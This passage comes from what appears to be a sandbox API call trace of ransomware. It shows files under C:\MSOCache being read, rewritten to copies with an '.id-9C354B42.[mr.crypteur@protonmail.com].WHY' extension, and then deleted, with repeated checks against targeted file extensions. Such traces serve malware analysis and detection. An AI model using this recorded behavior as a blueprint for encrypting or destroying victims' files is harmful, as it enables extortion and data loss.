lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0063.760] GetLastError () returned 0x0 [0063.760] ReadFile (in: hFile=0x1a0, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x750, lpOverlapped=0x0) returned 1 [0063.764] WriteFile (in: hFile=0x1f4, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x760, lpOverlapped=0x0) returned 1 [0064.240] ReadFile (in: hFile=0x1a0, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0064.240] WriteFile (in: hFile=0x1f4, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0064.240] SetEndOfFile (hFile=0x1f4) returned 1 [0064.240] CloseHandle (hObject=0x1f4) returned 1 [0064.244] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.244] SetEndOfFile (hFile=0x1a0) returned 1 [0064.246] CloseHandle (hObject=0x1a0) returned 1 [0064.247] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0064.247] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0064.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.248] lstrlenW (lpString=".doc") returned 4 [0064.248] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.248] lstrlenW (lpString=".docx") returned 5 [0064.248] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0064.248] lstrlenW (lpString=".pdf") returned 4 [0064.248] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.248] lstrlenW (lpString=".xls") returned 4 [0064.248] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.248] lstrlenW (lpString=".xlsx") returned 5 [0064.249] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0064.249] lstrlenW (lpString=".ppt") returned 4 [0064.249] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.249] lstrlenW (lpString=".zip") returned 4 [0064.249] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.249] lstrlenW (lpString=".rar") returned 4 [0064.249] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.249] lstrlenW (lpString=".bz2") returned 4 [0064.249] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.249] lstrlenW (lpString=".7z") returned 3 [0064.249] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.249] lstrlenW (lpString=".dbf") returned 4 [0064.249] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.250] lstrlenW (lpString=".1cd") returned 4 [0064.250] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.250] lstrlenW (lpString=".jpg") returned 4 [0064.250] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.250] lstrlenW (lpString=".doc") returned 4 [0064.250] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.250] lstrlenW (lpString=".docx") returned 5 [0064.250] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0064.250] lstrlenW (lpString=".pdf") returned 4 [0064.251] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.251] lstrlenW (lpString=".xls") returned 4 [0064.251] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.251] lstrlenW (lpString=".xlsx") returned 5 [0064.251] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0064.251] lstrlenW (lpString=".ppt") returned 4 [0064.251] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.251] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.251] lstrlenW (lpString=".zip") returned 4 [0064.251] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.251] lstrlenW (lpString=".rar") returned 4 [0064.251] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.251] lstrlenW (lpString=".bz2") returned 4 [0064.251] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.252] lstrlenW (lpString=".7z") returned 3 [0064.252] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.252] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.252] lstrlenW (lpString=".dbf") returned 4 [0064.252] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.252] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.252] lstrlenW (lpString=".1cd") returned 4 [0064.252] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.252] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.252] lstrlenW (lpString=".jpg") returned 4 [0064.252] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.253] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0064.253] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0064.253] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0064.254] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=5557) returned 1 [0064.254] CloseHandle (hObject=0x1a0) returned 1 [0064.254] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0064.254] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0064.254] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0064.254] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.255] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.255] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0064.255] GetLastError () returned 0x0 [0064.255] ReadFile (in: hFile=0x1a0, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0064.260] WriteFile (in: hFile=0x1f4, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0064.264] ReadFile (in: hFile=0x1a0, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0064.264] WriteFile (in: hFile=0x1f4, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xee, lpOverlapped=0x0) returned 1 [0064.264] SetEndOfFile (hFile=0x1f4) returned 1 [0064.264] CloseHandle (hObject=0x1f4) returned 1 [0064.266] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.266] SetEndOfFile (hFile=0x1a0) returned 1 [0064.269] CloseHandle (hObject=0x1a0) returned 1 [0064.269] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0064.270] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0064.270] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0064.270] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0064.270] lstrlenW (lpString=".doc") returned 4 [0064.270] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.270] lstrlenW (lpString=".docx") returned 5 [0064.270] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0064.271] lstrlenW (lpString=".pdf") returned 4 [0064.271] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.271] lstrlenW (lpString=".xls") returned 4 [0064.271] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.271] lstrlenW (lpString=".xlsx") returned 5 [0064.271] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0064.271] lstrlenW (lpString=".ppt") returned 4 [0064.271] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0064.271] lstrlenW (lpString=".zip") returned 4 [0064.271] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.271] lstrlenW (lpString=".rar") returned 4 [0064.271] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.271] lstrlenW (lpString=".bz2") returned 4 [0064.271] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.272] lstrlenW (lpString=".7z") returned 3 [0064.272] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0064.272] lstrlenW (lpString=".dbf") returned 4 [0064.272] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0064.272] lstrlenW (lpString=".1cd") returned 4 [0064.272] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0064.272] lstrlenW (lpString=".jpg") returned 4 [0064.272] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0064.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0064.273] lstrlenW (lpString=".doc") returned 4 [0064.273] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.273] lstrlenW (lpString=".docx") returned 5 [0064.273] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0064.273] lstrlenW (lpString=".pdf") returned 4 [0064.273] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.273] lstrlenW (lpString=".xls") returned 4 [0064.273] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.273] lstrlenW (lpString=".xlsx") returned 5 [0064.273] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0064.273] lstrlenW (lpString=".ppt") returned 4 [0064.273] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0064.274] lstrlenW (lpString=".zip") returned 4 [0064.274] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.274] lstrlenW (lpString=".rar") returned 4 [0064.274] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.274] lstrlenW (lpString=".bz2") returned 4 [0064.274] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.274] lstrlenW (lpString=".7z") returned 3 [0064.274] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0064.744] lstrlenW (lpString=".dbf") returned 4 [0064.744] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.744] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0064.744] lstrlenW (lpString=".1cd") returned 4 [0064.744] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.744] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0064.744] lstrlenW (lpString=".jpg") returned 4 [0064.744] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.745] lstrcmpiW (lpString1=".chm", lpString2=".WHY") returned -1 [0064.745] lstrlenW (lpString="setup.chm") returned 9 [0064.745] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0064.746] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=67190) returned 1 [0064.746] CloseHandle (hObject=0x204) returned 1 [0064.746] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0064.746] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0064.746] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0064.747] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.747] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.747] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0064.748] GetLastError () returned 0x0 [0064.748] ReadFile (in: hFile=0x204, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x10676, lpOverlapped=0x0) returned 1 [0064.755] WriteFile (in: hFile=0x208, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0064.764] ReadFile (in: hFile=0x204, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0064.764] WriteFile (in: hFile=0x208, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0064.764] SetEndOfFile (hFile=0x208) returned 1 [0064.765] CloseHandle (hObject=0x208) returned 1 [0064.770] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.770] SetEndOfFile (hFile=0x204) returned 1 [0064.774] CloseHandle (hObject=0x204) returned 1 [0064.774] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0064.775] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0064.775] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0064.775] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0064.775] lstrlenW (lpString=".doc") returned 4 [0064.775] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0064.775] lstrlenW (lpString=".docx") returned 5 [0064.776] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0064.776] lstrlenW (lpString=".pdf") returned 4 [0064.776] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0064.776] lstrlenW (lpString=".xls") returned 4 [0064.776] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0064.776] lstrlenW (lpString=".xlsx") returned 5 [0064.776] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0064.776] lstrlenW (lpString=".ppt") returned 4 [0064.776] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0064.776] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0064.776] lstrlenW (lpString=".zip") returned 4 [0064.776] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0064.776] lstrlenW (lpString=".rar") returned 4 [0064.776] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0064.777] lstrlenW (lpString=".bz2") returned 4 [0064.777] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0064.777] lstrlenW (lpString=".7z") returned 3 [0064.777] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0064.777] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0064.777] lstrlenW (lpString=".dbf") returned 4 [0064.777] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0064.777] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0064.777] lstrlenW (lpString=".1cd") returned 4 [0064.777] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0064.777] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0064.777] lstrlenW (lpString=".jpg") returned 4 [0064.777] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0064.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0064.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0064.778] lstrlenW (lpString=".doc") returned 4 [0064.778] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0064.778] lstrlenW (lpString=".docx") returned 5 [0064.778] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0064.778] lstrlenW (lpString=".pdf") returned 4 [0064.778] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0064.778] lstrlenW (lpString=".xls") returned 4 [0064.778] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0064.778] lstrlenW (lpString=".xlsx") returned 5 [0064.778] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0064.778] lstrlenW (lpString=".ppt") returned 4 [0064.779] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0064.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0064.779] lstrlenW (lpString=".zip") returned 4 [0064.779] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0064.779] lstrlenW (lpString=".rar") returned 4 [0064.779] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0064.779] lstrlenW (lpString=".bz2") returned 4 [0064.779] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0064.779] lstrlenW (lpString=".7z") returned 3 [0064.779] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0064.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0064.779] lstrlenW (lpString=".dbf") returned 4 [0064.780] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0064.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0064.780] lstrlenW (lpString=".1cd") returned 4 [0064.780] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0064.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0064.780] lstrlenW (lpString=".jpg") returned 4 [0064.780] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0064.780] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0064.781] lstrlenW (lpString="Setup.xml") returned 9 [0064.781] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0064.781] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=9352) returned 1 [0064.781] CloseHandle (hObject=0x204) returned 1 [0064.781] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0064.782] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0064.782] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0064.782] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.782] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.782] CreateFileW (lpFileName="C:\\MSOCache\\All 